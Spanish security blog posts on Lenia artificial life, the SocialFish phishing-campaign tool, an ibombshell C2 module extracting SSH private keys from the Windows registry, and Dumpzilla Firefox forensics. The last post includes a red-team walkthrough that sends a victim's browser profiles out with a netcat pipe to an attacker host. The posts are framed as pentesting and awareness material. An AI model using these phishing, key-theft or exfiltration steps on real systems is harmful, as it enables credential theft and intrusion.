Mostrando entradas con la etiqueta Pyhton. Mostrar todas las entradas
Mostrando entradas con la etiqueta Pyhton. Mostrar todas las entradas

jueves, noviembre 25, 2021

Lenia: ampliando el universo de Conway creando nuevas criaturas artificiales

En este artículo voy a hablaros de un mundo que realmente me apasiona desde hace ya mucho tiempo: la vida artificial. Además, si te interesa la Inteligencia Artificial es lógico que también te interese la vida artificial, ya que ambos mundos están estrechamente interconectados. Todo comenzó con el genial y maravilloso Juego de la Vida de Conway, el cual apareció en una sección del número de octubre de 1970 de la revista Scientific American

Figura 1: Lenia: ampliando el universo de Conway
creando nuevas criaturas artificiales 

Si no lo conocéis, antes de continuar os aconsejo que le echéis un vistazo a este artículo que publicamos en el blog Think Big de Telefónica, donde hablamos en profundidad de él. Por cierto, además de la trascendencia técnica del Juego de la Vida de Conway, su historia y también la de los autómatas celulares (en los cuales se basa) se mezclan Alan Turing o el Proyecto Manhattan entre otros. 

Figura 2: Libro de "Microhistorias: anécdotas y curiosiades de la historia
de la informática (y los hackers)" de Fran Ramírez y Rafel Troncoso 0xWord.

Y si te gustan estas historias de hackers, recuerda que puedes encontrar muchas más como esta en nuestro libro “Microhistorias: anécdotas y curiosidades de la Informática (y los hackers)”.

Primera evolución del Juego de la Vida de Conway: Smooth Life

El Juego de la Vida de Conway, como ya hemos comentado, data de 1970. Por aquella época no existían los ordenadores personales y la única forma de acceder a ellos era a través de universidades o grandes empresas. Hoy día, más de medio siglo después, el escenario ha cambiado “un poco”. Viendo la trascendencia del trabajo de Conway es lógico que este haya evolucionado hacia niveles realmente increíbles como habéis comprobado en el artículo que os mencionaba antes.

De hecho, con el Juego de la Vida de Conway logra el máximo logro, convertirse en una Máquina de Turing. Y por lo tanto, en una máquina Turing completo. Esto, explicado rápidamente, implica que una arquitectura que es capaz de cumplir el hecho de ser una Máquina de Turing Universal y emularse a sí misma.


Stephan Rafler publicó en 2011 un artículo científico llamado “Generalization of Conway's "Game of Life" to a continuous domain – SmoothLife”, cuya mayor diferencia respecto al Juego de la Vida de Conway está en una retícula o espacio no discreto, es decir, un espacio continuo. Las celdas infinitas del juego original son reemplazadas por otras llamadas celdas efectivas o effective grid y también los valores pueden ser ahora números reales en vez de únicamente enteros. 



Dicho de otra forma, se utilizan celdas las cuales forman a su alrededor en su zona de interacción, nuevas figuras geométricas como por ejemplo circulares. Por lo tanto, las reglas ahora son más complejas, aplicando nuevas ecuaciones a la hora de decidir el valor de una nueva celda después de una interacción. Esto genera entre otras maravillas, que el famoso “glider” o planeador pueda moverse en todas direcciones, rotar, etcétera. En el fantástico vídeo que podéis arriba, se habla desde su origen hasta su funcionamiento. Pero en este artículo vamos a hablar de un paso más allá dentro del universo de Conway.

Y llegó Lenia

En 2015 aparece Lenia, una variante nueva creada por Bert Wang-Chak Chan la cual mejora tanto el original como Smooth Life llegando a tener, de momento, hasta 400 especies nuevas y 18 familias. También utiliza un espacio-tiempo continuo además de otras reglas locales, similares a los anteriores proyectos, pero con algunos detalles que luego veremos. Además, hay nuevas características las cuales permiten organizarse, auto repararse, comunicarse, nuevos medios de crear movimiento, etc. Y los resultados son realmente espectaculares, dando una sensación de estar visualizando criaturas realmente biológicas y su comportamiento con el entorno.


La principal diferencia de Lenia con otros modelos de autómatas celulares es que son geométricos, “difusos” (fuzzy), resistentes y "resilientes". También se muestran nuevas formas de autopropulsión, autoorganización, polimorfismo, plasticidad, etc. Y quizás el punto más importante, más allá de su aplicación en la biología, esta nueva aproximación abre nuevas vías dentro de la Inteligencia Artificial.

Las nuevas reglas de Lenia

Las reglas del universo o del mundo (grid o retícula) en general son las mismas en su base respecto al resto de implementaciones. Es decir, existe un espacio donde cada elemento de la rejilla o píxel es una célula y además existe una evolución en el tiempo definida con fotogramas o frames. Si durante ese periodo de tiempo existe alguna relación con alguna celda vecina, tendrá lugar algún tipo de cambio determinando el valor de dicha celda en el siguiente avance del universo. Pero vamos a adentrarnos un poco en más en Lenia.

Voy a intentar explicar brevemente y a un nivel muy básico su funcionamiento, dejándome muchos conceptos atrás pero que nos puede servir como punto de partida. Si quieres más detalle te aconsejo echar un vistazo al artículo original o a este vídeo del cual he sacado la idea para el la explicación. Vamos a fijarnos en la siguiente fórmula la cual no es más que una evolución de la utilizada en el Juego de la Vida de Conway:


Antes de avanzar en su explicación debemos tener en cuenta el elemento que cambia totalmente las reglas y ofrece un nuevo enfoque de esta implementación: el kernel (K) y sus nuevas implementaciones. Un kernel (también llamado a veces máscara) se utiliza en una convolución para extraer características de, por ejemplo, una imagen. Es una matriz la cual sirve para conseguir una especie de filtro y obtener unos resultados nuevos de salida. De hecho, en procesamiento de imágenes y redes convolucionales se aplica este mismo concepto. 

Es más, el kernel es el “motor” principal de esta implementación para poder obtener nuevas interacciones con las otras células del mundo, abriendo un gran abanico de posibilidades y resultados asombrosos. Pues bien, ahora supongamos que tenemos una serie de celdas dentro de este nuevo universo con la siguiente estructura:

Figura 7: Estado inicial de las celdas en un universo Lenia

Y también este kernel simple:

Figura 8: Kernel a aplicar sobre las celdas

Si ahora centramos y superponemos el kernel sobre una de las celdas (en concreto la central de valor “1”), tendríamos el siguiente resultado:

Figura 9: Kernel aplicado sobre las celdas

Ahora comprobamos qué valores de nuestro kernel coinciden con los valores de las celdas. Es decir, observar qué valores de las celdas en el universo coinciden con los valores de las celdas en el kernel.

Figura 10: Kernel aplicado a las celdas y sus valores correspondientes
(kernel/celda)

Comprobamos que la única celda que coincide su valor con el kernel es la que hemos marcado en verde oscuro en la imagen anterior. Vamos a ver ahora cómo se traduce esta operación a la fórmula. El valor total del kernel se calcula multiplicando el valor de la celda del universo por el del kernel. El valor obtenido se suma valor obtenido con la misma operación de la siguiente celda y así sucesivamente hasta completar todas las celdas del kernel. En nuestro caso obtenemos el valor 1:

Figura 11: Valor total del kernel resultante.

Sustituimos el valor de la convolución en la ecuación:

Figura 12: Sustitución del valor del kernel en la fórmula
dentro de ese periodo de tiempo

El siguiente paso será determinar la función del mapeo de crecimiento. En el Juego de la Vida original esta función se calcula en función de los 8 puntos que rodean a la celda aplicando las reglas básicas originales. Es decir, nos fijamos en el número de celdas que tiene alrededor. Si la celda está muerta (0 en el caso del Juego de la Vida) vuelve a la vida (1) sólo si tiene tres celdas vivas. Y si la celda está viva, se mantiene viva sólo si tiene 2 o 3 vecinos vivos. 

Al aplicar una función de crecimiento (G) obtendremos los correspondientes valores: 0 sobrevive (se queda en valor 1), 1 nacimiento (de 0 a 1) y finalmente -1 lo cual supone su muerte (0). El caso de Lenia es similar, pero con algunas variaciones, esta vez utilizando valores con números reales. En el siguiente gráfico se muestra un ejemplo con un kernel tipo anillo en el apartado b) usando una función gaussiana:


Volviendo a la fórmula anterior y usando la función de mapeo de crecimiento sencilla, vamos a calcular los valores que nos devuelve la función de crecimiento siguiente. Vemos marcado en amarillo el valor obtenido del kernel, el cual corresponde al valor -1:

Figura 14: Valor obtenido de la función de crecimiento

Ya sólo nos quedaría sustituir los valores de incremento de tiempo y estado del universo. Suponiendo que son 1 (esto irá variando dentro del dominio de los números reales también), obtendremos finalmente un valor como, por ejemplo:

Figura 15: Sustitución de los valores obtenidos y resultado final

Vemos que el valor final es 0 pero debemos tener en cuenta que es posible que los valores acaben por encima de 1 o por debajo de 0, por eso los acotamos entre 0 y 1. A partir de este momento podemos variar los valores del kernel cambiando la forma de la máscara, la función de crecimiento, etcétera. La siguiente imagen nos puede servir para entender mejor los valores que hemos calculado comparando una función básica del Juego de la Vida con una de Lenia, en concreto comparando los parámetros de un “glider” (o planeador) cada uno con una máscara diferente. Podemos observar perfectamente su evolución e interacción con el universo:

Podemos observar las diferencias de cómo interactúan con el entorno.

Como ya hemos comentado, el kernel es el elemento fundamental que da forma y características a las nuevas criaturas de Lenia. Ya no estamos en un mundo binario, donde los valores de la celda eran 0 o 1. Ahora tenemos los números reales que podamos encontrar entre 0 y 1, así que este es el nuevo espacio donde viven estas nuevas entidades digitales. A partir de este momento ya sólo nos queda experimentar utilizando más de un universo, mezclarlos entre ellos, crear nuevas criaturas con diferentes kernels e incluso, utilizar matrices multidimensionales en vez de 2D (este tema se trata con detalle en el artículo de Lenia).

Figura 17: Walkthrough Lenia

En este pequeño vídeo podemos ver algunas de estas criaturas utilizando la implementación Python que podéis encontrar en este enlace de GitHub y también en detalle los diferentes ámbitos en acción como world, kernel, potential y field que hemos visto en la Figura 16.

La clave, los autómatas celulares y la IA

Esto es sólo una pequeña aproximación al fantástico mundo de Lenia y lo tremendamente importante que son los autómatas celulares para interconectar Biología e Inteligencia Artificial. Y si el objetivo de todo esto es simular vida, la combinación de ambos mundos es fundamental. Con el Juego de la Vida, Smooth Life y Lenia tenemos la base digital biológica para estudiar el comportamiento de criaturas artificiales. Su evolución y comportamiento en estos universos son una excelente herramienta para aplicar Inteligencia Artificial emulando estos patrones de evolución lo que nos permitirá simular escenarios muchos complejos. 

Algunas aplicaciones pueden ser desde la ya obvia simulación y aprendizaje del funcionamiento de las células biológicas, comportamiento de las partículas en Física, gestionar los atascos de tráfico o incluso nuevas vías de computación utilizando autómatas celulares. La Inteligencia Artificial y los autómatas celulares permiten ampliar y mejorar el mundo del reconocimiento de patrones y sobre optimización de todo tipo de problemas. En definitiva, con los autómatas celulares podemos básicamente hacer cosas como:
  • Experimentar con la evolución de la vida artificial en entornos simulados y adaptados a nuestras exigencias (vida artificial), con una aplicación directa con la robótica.
  • Crear nuevas vías o motores de computación
  • Modelar todo tipo de fenómenos y características asociados a la Biología, Física, Naturaleza.
  • ¿Alguien a dicho jugar a ser un dios 2.0? 😉
Happy Hacking!

Autor: Fran Ramírez, (@cyberhadesblog) es investigador de seguridad y miembro del equipo de Ideas Locas en CDO en Telefónica, co-autor del libro "Microhistorias: Anécdotas y Curiosidades de la historia de la informática (y los hackers)", del libro "Docker: SecDevOps", también de "Machine Learning aplicado a la Ciberseguridad” además del blog CyberHades. Puedes contactar con Fran Ramirez en MyPublicInbox.

 Contactar con Fran Ramírez en MyPublicInbox

lunes, marzo 18, 2019

SocialFish2.0: Nueva herramienta para concienciar contra el Phishing

Ya hemos hablado en otras ocasiones sobre el cómo medir la concienciación y la cultura de seguridad en una empresa. Es algo complejo, nada sencillo, ya que depende de las personas, depende del mimo que la organización haya dado a los empleados y la formación, concienciación y conocimientos que fluyen hacia éstos. Nosotros hicimos, allá por el 2016, una herramienta a la que llamamos SAPPO y que permite medir este tipo de datos tan interesantes para poder dilucidar si vamos por el buen camino.

Figura 1: SocialFish2.0: Nueva herramienta para concienciar contra el Phishing

También hablamos de Weeman, un framework para generar phishing de forma automática y poder evaluar si los empleados de una organización caen ante este tipo de pruebas en un Ethical Hacking. Otro ejemplo es cómo la inteligencia artificial entra en el mundo de la ciberseguridad con Phish.AI. Una herramienta que permite utilizar una IA para detectar sitios que pueden ser phishing e ir aprendiendo sobre esto. Este tipo de evoluciones e integraciones se pueden ver en el libro de Machine Learning aplicado a Ciberseguridad de 0xWord.

Figura 2: Machine Learning aplicado a Ciberseguridad

Hace muy poco tiempo, se ha liberado una nueva herramienta que permite ayudar a llevar a cabo este tipo de pruebas. La herramienta se llama SocialFish y se puede descargar desde su Github. Esta aplicación proporciona un entorno para poder gestionar las “campañas” de concienciación a través de un ataque de phishing. Además, hace seguimiento de lo que se quiere realizar y los resultados de éstos. Es decir, podremos saber qué usuario ha pinchado en el enlace, ha accedido y ha introducido credenciales.

Figura 3: SocialFish en GitHub

Hay dos versiones de esta herramienta. La versión 1.0, es la antigua, y la interacción con la herramienta funciona a través de un script, al más puro estilo Social Engineer Toolkit o setoolkit, quizá una de las más famosas herramientas de ingeniería social en el mundo de la ciberseguridad.

Versión 1.0

La versión 1.0 dispone de diferentes plantillas que nos daban a elegir al ejecutar el script. Hay que indicar que la aplicación se encuentra escrita en flask en la versión 2.0 y tiene PHP en la versión 1.0. Las plantillas que nos daban a elegir, aunque se podía personalizar, son las de Facebook, Google, LinkedIn, Github, StackOverflow o Wordpress. Lógicamente, sitios interesantes para el engaño.

Figura 4: Plantillas de SocialFish

Cuando se configuraba una plantilla y se indicaba a dónde retornar la información de las credenciales que se obtenían se puede ver algo similar a la imagen de a continuación. Hay que tener en cuenta que es un funcionamiento similar al famoso Social Engineer Toolkit.

Figura 5: Sitio web de Phishing para Facebook

A continuación, se puede ver las contraseñas que se pueden obtener desde el sitio anterior. Muy sencillo de crear y de colgar en un dominio real, siempre pensando en la prueba de evaluación de concienciación de los empleados. Lógicamente, en las organizaciones, se suele personalizar las páginas buscando un cebo creíble para generar la confianza con los empleados con menor concienciación.

Figura 6: Log con accesos al sitio de phishing y credenciales capturadas

El funcionamiento de esta versión se puede ver en el siguiente video de los creadores. Realmente interesante como alternativa este tipo de herramienta.


Figura 7: Demo de SocialFish v1.0

Versión 2.0

La aparición de la versión 2.0 de SocialFish trae un lavado de cara importante. Desde el uso de un nuevo lenguaje, como es Flask, a la posibilidad de poder manejar la herramienta desde una atractiva página web.

La instalación de SocialFish puede traer un quebradero de cabeza, aunque si partimos de una distribución Kali Linux no debería ser así. Los requisitos que nos marcan son varios, desde el uso de Python 3.6 o superior a usar pip3. Además, tiene un largo número de dependencias que son incluidas en el fichero requirements.txt que se puede encontrar en el repositorio. Al final, todo se reduce a ejecutar python3 -m pip install -r requirements.txt para que las dependencias sean instaladas.

Figura 8: Libro de Pentesting con Kali Linux

Una vez todo está listo, debemos ejecutar Python3 SocialFish.py [user] [pass]. Esto ejecuta la aplicación web y levanta un servicio en el puerto 5000. Cuando nos conectamos a ese puerto con un navegador web veremos una página como la que se muestra, dónde debemos introducir el usuario y contraseña generado anteriormente.

Figura 9: Login en SocialFish v2.0

Una vez se accede a la aplicación nos encontramos con un aspecto como el que se puede ver en la siguiente imagen. Aspecto limpio, claro y de uso sencillo. Hay un apartado dónde se indica el sitio a clonar y a dónde realizar la redirección. Además, vemos una especide de dashboard dónde podemos ver los datos que se van recopilando:
  • Clics que se han hecho sobre el recurso fake.
  • Visitantes que no hicieron clic.
  • Credenciales capturadas.
  • Número de phishings realizados.
Además, de este dashboard web que vemos en la figura siguiente, SocialFish v2.0 también dispone de aplicación móvil para llevar a cabo el seguimiento y el lanzamiento de ataques.

Figura 10: Dashboard Web de SocialFish v2.0

En el siguiente Github se puede encontrar la app móvil de SocialFish. El aspecto es similar al que se puede ver en la imagen siguiente.

Figura 11: App movil de SocialFish v2.0

Sin duda, SocialFish es una aplicación que tiene recorrido y que puede crecer mucho. Ahora mismo, goza de gran apariencia, aunque la funcionalidad se limita a un phishing y seguimiento básico de éste. Puede que en próximas versiones veamos mayor número de funcionalidades que puedan aportar diferentes pruebas basadas en ingeniería social y que permita medir la concienciación de los empleados.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.

martes, julio 10, 2018

ibombshell: Crear un módulo para extracción de claves privadas SSH en Windows 10

La semana pasada hablamos sobre la extracción de claves privadas SSH en Windows 10 como un nuevo método para el Hacking de Windows. Hoy quería enseñar lo sencillo que es crear un módulo de ibombshell, el cual será liberado este mes en cuanto Álvaro Nuñez y yo terminemos unos detalles. Recordando que ibombshell tiene dos modos de ejecución, uno el denominado "everywhere" con Powershell y el denominado "silently" gracias a un C2 escrito en Python.

Figura 1: ibombshell: Crear un módulo para extracción de claves privadas SSH en Windows 10

Cuando hablamos de módulos hablamos de la posibilidad de incorporar funcionalidad al C2 de Python. En el caso de querer crear una nueva funcionalidad para el modo everywhere se debe añadir en el Github correspondiente, en nuestro caso será el GitHub de ElevenPaths, la función de Powershell necesaria. Como se explicó en el artículo dedicado a ibombshell es necesario tener clara la estructura de directorios y ficheros en el Github, ya que la consola hará uso de dicha estructura.

Primera parte. Creación de la función

En primer lugar, vamos a crear una función para extraer las claves privadas SSH en Windows 10. Esta función se obtiene del conocimiento de esta técnica y tiene un requisito importante y es que el proceso dónde se ejecute dicha función se esté ejecutando con integridad alta. Es lógico aplicar una serie de comentarios en la función o en la ayuda de la función sobre este tema.

El aspecto de la función puede ser algo parecido a lo que se puede ver en la imagen. La función extract-sshprivatekey comprueba en primer lugar si existe el path HKCU:\Software\OpenSSH\Agent\Keys. En caso de existir, recorre el número de claves almacenadas en la ruta. Por cada clave, se lista el valor de Comment que es el nombre de la clave en ASCII. Por último, se recupera el valor de clave en binario y se codifica en Base64. Aquí acaba la función.

Figura 2: Función extract-sshprivatekey

Hay que recordar que, posteriormente, habría que hacer uso del script parse_mem.py para obtener el valor ASCII de la clave privada. Lo importante sería poder utilizar esta información en una vía remota, pero cabe la posibilidad de utilizar en el modo everywhere de ibombshell.

Si listamos las funciones disponibles en la shell con el comando showcommands nos aparece la siguiente ruta post/extract-sshprivatekey. Esto es gracias al mapeo que se puede encontrar en la raíz del repositorio, en el fichero functions.txt, en el que se relaciona las funciones con las rutas del repositorio.

Una vez descargada a memoria la función, ésta se queda en el provider de funciones con el nombre sshprivatekey. Como he comentado anteriormente, si el entorno dónde se ejecuta la función tiene privilegios podremos ejecutarla, si no nos devolverá un error, tal y como se puede visualizar en la imagen.

Figura 3: Extracción de clave privada con ibombshell genera error

Ahora, vamos a suponer que tenemos privilegio en el proceso. Realizando el mismo proceso comentado anteriormente, el resultado es distinto, la función ejecutada en ibombshell devuelve los nombres de las claves y el base64 del binario de la clave privada.

Figura 4: Extracción correcta

Con ese base64 se debe ejecutar parse_mem.py para obtener la clave privada en ASCII. La función extract-sshprivatekey es una versión nuestra que se ha realizado para este artículo y que queda dentro del repositorio para su uso en auditoría o un proyecto de Ethical Hacking.

Segunda parte. Creando el módulo para nuestro panel en Python

Lo primero es entender el formato que tiene un módulo de ibombshell en Python. La idea es sencilla, que cuando el pentester ejecute el módulo en Python éste genere la función de Powershell y la instrucción para invocarla. Esta información es almacenada en un fichero que el "warrior", o proceso que ejecuta ibombshell en remoto, leerá mediante una petición HTTP.

Recuperando el esquema con el que jugamos en nuestro panel en Python y la interacción con el warrior de ibombshell vemos la siguiente imagen. En esta imagen, se puede ver que es el warrior el que, cuando es ejecutado en la máquina remota, realiza una petición hacia nuestro C2 registrando la dirección IP y el nombre o ID. Esto es a través de una petición HTTP, a través de un GET. Posteriormente, tras el registro, el warrior realiza una petición HTTP para verificar si hay algún tipo de función o funciones que deba, primero cargar en memoria y posteriormente ejecutar.

Figura 5: Intercambio de mensajes

El usuario del C2 al configurar un módulo y ejecutar el run, lo que está haciendo es almacenar en un fichero la función correspondiente y las instrucciones que se deben ejecutar en el warrior de ibombshell en Powershell. Cuando el warrior lee el fichero, ya carga la función y las instrucciones las ejecuta. Posteriormente, el warrior envía los resultados a través de un POST que se realiza al mismo recurso en el panel de Python.

Ahora, entendamos qué partes tiene un módulo de ibombshell en Python. Se proporcionará una clase denominada CustomModule. El cual tiene el constructor y un método run_module. Como se puede ver, un módulo no será algo complejo.

En el constructor tenemos una variable information, la cual es un diccionario que proporciona varios atributos y varios valores. Suele ser tema informativo, nombre del módulo, autor, descripción, etcétera. Por otro lado, se tiene la variable options. Esta variable es un diccionario que tiene los atributos del módulo. Por cada atributo se tiene una lista en el que se indica si el atributo tendrá algún valor, su descripción y si es obligatorio.

Figura 6: CustomModule

El método run_module implementará lo que se va a ejecutar cuando el pentester haga ‘run’, una vez configurado el módulo. Lo primero que se hace en esta función es verificar si el warrior configurado por el usuario existe. Para ello se comprueban los ficheros creados por ibombshell sobre los que se comunicará el warrior ejecutado en remoto. El ID de dicho warrior debe existir en forma de fichero.

Figura 7: Método run_module

Por último, se añade a la variable function la instrucción que hará que el warrior remoto ejecute la función cargada. No es más que el propio nombre de la función. En este caso, depende de la configuración del módulo, ya que una función puede tener N formas de ser ejecutada.


Figura 8: Módulo cargado en ibombshell

Es decir, una función puede ser ejecutada con varios parámetros o argumentos, por lo que utilizaremos selectores o bifurcaciones para los diferentes casos y acabaremos agregando a la variable function la instrucción necesaria, en función de la configuración del módulo.

Conclusión final: PoC en Vídeo

A continuación, os dejo un video dónde se puede ver el funcionamiento del nuevo módulo y los resultados que éste proporciona.

Figura 9: PoC en vídeo de nuevo método de ibombshell

Pronto liberaremos la primera versión beta de ibombshell, será la 0.0.1 y esperamos el feedback. Recuerda ‘the first boom, but two ways…”

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

martes, junio 19, 2018

Dumpzilla: Cómo hacer un análisis forense a los usuarios de Mozilla Firefox

Como todos sabemos, la información que queda almacenada de las personas en los navegadores web, entre las que se encuentran nombres de los usuarios y contraseñas, cookies, historial de descargas y otros muchos datos resultan de gran valor para la seguridad y privacidad personal, por lo que es conveniente mantenerla protegida. Hoy os voy a hablar de una herramienta con la que nos topamos recientemente llamada dumpzilla y que tiene que ver precisamente con toda esa información que se almacena en los navegadores de Internet.

Figura 1: Dumpzilla "Cómo hacer un análisis forense a los usuarios de Mozilla Firefox"

Dumpzilla Es una herramienta muy útil, versátil e intuitiva dedicada al análisis forense en navegadores Mozilla. Según el GitHub de la herramienta desarrollada para Python, Dumpzilla tiene la capacidad de extraer toda la información relevante de navegadores Firefox, Iceweasel y Seamonkey para su posterior análisis de cara a ofrecer pistas sobre ataques sufridos, robo de información, contraseñas, correos, etcétera.

Figura 1: Dumpzilla en GitHub

Con esta herramienta se podemos acceder a un gran volumen de información valiosa, entre la que podemos encontrar:
• Cookies + almacenamiento DOM (HTML 5) 
• Preferencias de usuario (permisos de dominio, ajustes de Proxy, etc...)

• Historial de visitas

• Historial de descargas

• Datos de formularios web (búsquedas, e-mails, comentarios, etc...)

• Marcadores
Además, Dumpzilla también contempla la opción --Watch, que permite auditar el uso de nuestro navegador en tiempo real. Por todo ello nos decidimos a jugar con esta herramienta para probar sus capacidades, centrándonos en Mozilla Firefox.

Instalación de Dumpzilla

El primer paso es conocer el directorio donde se almacena la información de los perfiles de usuario del navegador. Para cada SO:
• Linux: /home/user/.mozilla/firefox/xxxxxxxx.default 
• MacOS: /Library/Application Support/Firefox/Profiles/ xxxxxxxx.default 
• Windows XP: C:\Documents and Settings\user\Datos de programa\Mozilla\Firefox\Profiles\ xxxxxxxx.default 
• Windows Vista, 7, 8 y 10: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ xxxxxxxx.default
En el caso que nos ocupa, hemos realizado la prueba en dos máquinas virtuales. Una con SO Kali Linux 2018.2 y otra con Ubuntu 16.04 LTS, por lo que el fichero con la información relativa a los perfiles de nuestro navegador se encuentra en la ruta /home/user/.mozilla/firefox/xxxxxxxx.default. Firefox genera un fichero xxxxxxxx.default con 8 caracteres aleatorios y los asigna al nombre de un determinado perfil. Cada directorio puede ser procesado individualmente haciendo uso de Dumpzilla.

De cara a la instalación y uso de Dumpzilla, comenzaremos instalando algunos paquetes necesarios. Primero instalando algunos paquetes haciendo uso de pip:
pip install logging
Instalamos algunas librerías más haciendo uso de apt-get:
apt-get install python3 sqlite3 python-lz4 libnss3
A continuación, procedemos a descargar Dumpzilla. Aunque lo inmediato hubiera clonar el repositorio de GitHub de la herramienta, se reportó un bug en la última versión que provoca un fallo en la decodificación de las contraseñas guardadas en Firefox. Gracias al buen versionado de la herramienta, procedemos a descargar esta versión de Dumpzilla y a extraer la los ficheros comprimidos:
wget 'https://github.com/Busindre/dumpzilla/archive/b3075d1960874ce82ea76a5be9f58602afb61c39.zip'
unzip b3075d1960874ce82ea76a5be9f58602afb61c39.zip
Figura 3: Extracción de Dumpzilla tras su descarga

Tras extraer los archivos, nos metemos en la carpeta recién creada dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ con el contenido de scripts y carpetas de la versión correspondiente.
cd dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/
Damos permiso de ejecución del fichero dumpzilla.py
chmod +x dumpzilla.py
Una vez dados estos pasos, ya tendríamos Dumpzilla listo para su uso.

Primera prueba con Dimpzilla

Para comprobar que todo ha ido bien, podéis hacer una copia de los directorios donde se almacenan los ficheros con la información de los perfiles indicados anteriormente (en función de vuestro SO) a la carpeta dumpzilla-b3075d1960874ce82ea76a5be9f58602afb61c39/ y probar a ejecutar el script sobre el que acabamos de dar permiso de ejecución.

Por ejemplo, para extraer las contraseñas de un determinado perfil de Firefox, sólo tenemos que hacer uso del siguiente comando (en el caso de estar trabajando en Linux):
python3 dumpzilla.py firefox/xxxxxxxx.default/ --Passwords
Figura 4: Presentación de usuarios y contraseñas de un perfil
de Mozilla Firefox tras la ejecución de Dumpzilla
python3 dumpzilla.py firefox/xxxxxxxx.default/ --History
Figura 5 Presentación de historial de un perfil
de Mozilla Firefox tras la ejecución de Dumpzilla

Como podéis ver, el uso de la herramienta es sencillo y se obtiene una gran cantidad de información que puede resultar útil siempre y cuando la intención de su uso sea lícita. Podéis ver todas las posibilidades de uso aquí en el Manual de Dumpzilla en Español. La información que extraigamos del navegador vendrá dada en función de los hábitos de uso del usuario, la versión del web browser y su configuración, así como del azar.

Estas herramientas también tienen valor en un escenario de pentesting, en donde un atacante de un Red Team quiere acceder información sensible de los usuarios de una máquina donde se está utilizando uno de estos navegadores.

Dumpzilla en un pentesting de un Red Team

Todo usuario de Firefox sabe que el navegador es capaz de gestionar múltiples perfiles. Estos perfiles se suelen usar con la intención aislar de los demás su actividad en el navegador. No nos hemos encontrado con restricciones en el acceso a perfiles, pues sólo tenemos uno habilitado en cada máquina virtual al ser una prueba de concepto rápida.

En el caso de que tuviéramos varios perfiles habilitados para varios usuarios, sólo podríamos acceder a la información de aquellos para los que nuestro usuario tiene permiso de lectura, quedando los otros perfiles sin visibilidad en el caso de no contar con acceso de administrador.

Poniendo un ejemplo sencillo, supongamos que un atacante ha creado un backdoor y que nuestra máquina se ha visto comprometida. Además, el atacante contaría con total probabilidad perfil root (administrador), lo que le permitiría acceder a toda la información de los perfiles de Firefox almacenados en esa carpeta, sin restricción en los permisos. Este tipo de ataque ya se trató en este artículo, al que os animamos a echar un vistazo.

Figura 6: Diagrama de obtención de datos de perfiles de Mozilla Firefox

Tomando como atacante la VM con SO Kali Linux y la VM de Ubuntu como víctima, podremos reproducir el ataque con sólo tres comandos. Situándonos en la máquina atacante, en la carpeta dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ recurrimos a Netcat (una herramienta adecuada para supervisar y escribir sobre conexiones tanto TCP como UDP).
nc -l -p 9999 | tar x
A través de este comando pediremos a Netcat que escuche (-l) a través del puerto (-p) 9999 todo dato entrante especificado por tar. El x tras el comando tar indica que debe extraer y almacenar de manera automática todos los directorios comprimidos que vengan del netcat pipe. Los directorios se comprimen durante la transmisión de Netcat para facilitar a la propia herramienta el procesado de los datos. Podemos acceder como root a través de ssh a la máquina con backdoor:
ssh root@IP_UBUNTU
Dentro de la máquina atacada nos movemos a la carpeta donde se almacena toda la información de los perfiles:
cd /home/.mozilla/
para ejecutar
tar cf - firefox/ | nc IP_KALI 9999
Aquí hacemos uso del comando tar para comprimir el contenido de la carpeta firefox/ y dirigirlo haciendo uso del comando nc. La dirección IP del atacante queda representada por IP_KALI.

Hay que dar un cierto margen a la ejecución de este comando, en especial si el perfil de Firefox que queremos transferir contiene meses de historial, cookies y múltiples marcadores. Detener el proceso de manera abrupta podría corromper algunos ficheros y hacer imposible la decodificación de la información que nos interesa.

Ya de vuelta en nuestra máquina Kali Linux (la atacante) tendremos en nuestro directorio dumpzilla- b3075d1960874ce82ea76a5be9f58602afb61c39/ con al menos un directorio firefox/ con el naming xxxxxxxx.default/.

Figura 7: Contenido del directorio de dumpzilla tras la transferencia de firefox/ desde la víctima

De este directorio se podría extraer toda la información deseada, tal y como se mostró anteriormente con los comandos simples de la Figura 3 y la Figura 4, o siguiendo los comandos que se describen en el Manual de Dumpzilla en Español.

Reflexión final

Como se puede ver, hay herramientas más que preparadas para extraer toda la información de un usuario que se encuentra en un navegador. En este caso en Mozilla Firefox, Iceweasel y SeaMonkey, pero las herramientas existen para todos. Almacenar información como contraseñas de manera indiscriminada en el navegador y no actualizarlas con una cierta frecuencia puede llegar a poner en riesgo nuestras credenciales de acceso a nuestras diferentes cuentas.



Figura 8: Cómo proteger tu cuenta de Mozilla Firefox con Latch Cloud TOTP

Para mitigar que información sensible del usuario quede expuesta por este medio, algunas buenas prácticas sencillas que podrían dificultar la obtención de datos personales a través de este tipo de ataques podrían ser:
• Uso de la navegación privada, a pesar de la inconveniencia derivadas del mismo. 
• Gestionar correctamente las contraseñas, a saber:
o Nunca hacer uso de diccionarios 
o Poner passwords que no sean fáciles de adivinar 
o Cambiar las contraseñas con frecuencia 
o No usar la misma contraseña para diferentes cuentas 
o Poner un Segundo Factor de Autenticación a todas tus identidades
• Como no, Proteger tus perfiles de Firefox con Latch Cloud TOTP.
Autor:  Enrique Blanco (@eblanco_h) miembro del equipo de Ideas Locas en CDO (Telefónica)

Entrada destacada

+300 referencias a papers, posts y talks de Hacking & Security con Inteligencia Artificial

Hace un mes comencé a recuperar en un post mi interés en los últimos años, donde he publicado muchos artículos en este blog , y he dejado mu...

Entradas populares